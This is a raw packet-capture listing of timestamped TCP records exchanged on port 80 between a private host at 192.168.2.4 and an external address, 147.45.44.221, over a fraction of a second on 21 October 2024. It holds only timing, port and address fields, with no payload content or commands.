Oct 21, 2024 08:47:26.261207104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261217117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261236906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261250019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261277914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261281967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261301041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261317015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261341095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261348963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261382103 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261398077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261398077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261415005 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261440039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261445999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261477947 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261491060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261491060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261512041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261531115 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261544943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261567116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261578083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261609077 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261620045 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261641979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261657000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261657000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261673927 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261693001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261707067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261723995 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261739969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261771917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261781931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261781931 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261802912 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261838913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261852026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261852980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261871099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261904001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261907101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.261955023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.261955023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.387933016 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.387995958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388000011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388035059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388046026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388067007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388078928 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388099909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388103008 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388134003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388148069 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388168097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388175011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388197899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388215065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388231993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388237000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388271093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388278961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388324976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388335943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388375998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388369083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388425112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388432980 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388467073 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388473988 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388506889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388514996 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388540030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388555050 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388570070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388583899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388607979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388621092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388648033 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388664007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388689041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388698101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388730049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388750076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388761997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388772011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388792992 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388804913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388823986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388830900 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388856888 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388865948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388889074 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388901949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388921976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388931990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388953924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.388962984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.388994932 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389009953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389036894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389064074 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389069080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389079094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389101982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389111042 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389138937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389147043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389185905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389185905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389219999 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389236927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389250994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389261961 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389283895 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389297009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389324903 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389334917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389365911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389374971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389396906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389405012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389430046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389440060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389466047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389471054 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389523029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389532089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389564037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389574051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389596939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389607906 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389643908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389653921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389678955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389688969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389707088 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389719009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389739037 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389748096 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389771938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389775991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389801979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389811993 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389836073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389842987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389867067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389877081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389899969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389904976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389926910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389936924 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389959097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389965057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.389991045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.389998913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.390029907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.506812096 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.506882906 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.506895065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.506920099 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.506931067 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.506963015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.506975889 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507008076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507018089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507050037 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507056952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507088900 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507102966 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507132053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507138014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507169962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507184029 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507201910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507215023 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507234097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507246971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507265091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507277012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507297039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507320881 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507339001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507344961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507395983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507425070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507474899 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507478952 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507525921 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507530928 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507560015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507574081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507606030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507608891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507639885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507654905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507669926 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507684946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507719040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507723093 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507745981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507764101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507786036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507792950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507823944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507841110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507850885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507868052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507883072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507898092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507915020 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507926941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507946014 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507960081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.507977962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.507994890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508008003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508025885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508038998 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508049011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508070946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508085012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508104086 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508115053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508135080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508147001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508167982 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508181095 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508203030 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508214951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508234978 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508245945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508265972 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508280039 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508297920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508310080 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508323908 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508347034 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508356094 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508383036 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508393049 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508416891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508423090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508436918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508455038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508466005 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508486032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508500099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508517981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508529902 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508548021 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508574963 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508582115 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508591890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508614063 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508625031 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508647919 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508658886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508682013 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.508701086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.508723974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.514646053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514666080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514682055 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514695883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514697075 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.514710903 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514714003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.514728069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.514763117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.514776945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626136065 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626169920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626194000 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626240969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626243114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626270056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626291990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626307964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626312971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626349926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626358032 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626408100 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626410007 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626441956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626446009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626480103 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626488924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626521111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626530886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626560926 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626581907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626622915 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626630068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626671076 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626682997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626723051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626729965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626764059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626782894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626801968 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626812935 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626856089 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626878023 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626909971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626918077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626940966 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626948118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.626971960 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.626986027 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627005100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627017975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627052069 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627058983 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627091885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627096891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627127886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627136946 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627170086 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627175093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627213001 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627221107 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627258062 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627266884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627299070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627305984 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627336025 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:26.627342939 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627373934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:26.627414942 CEST	49732	80	192.168.2.4	147.45.44.221
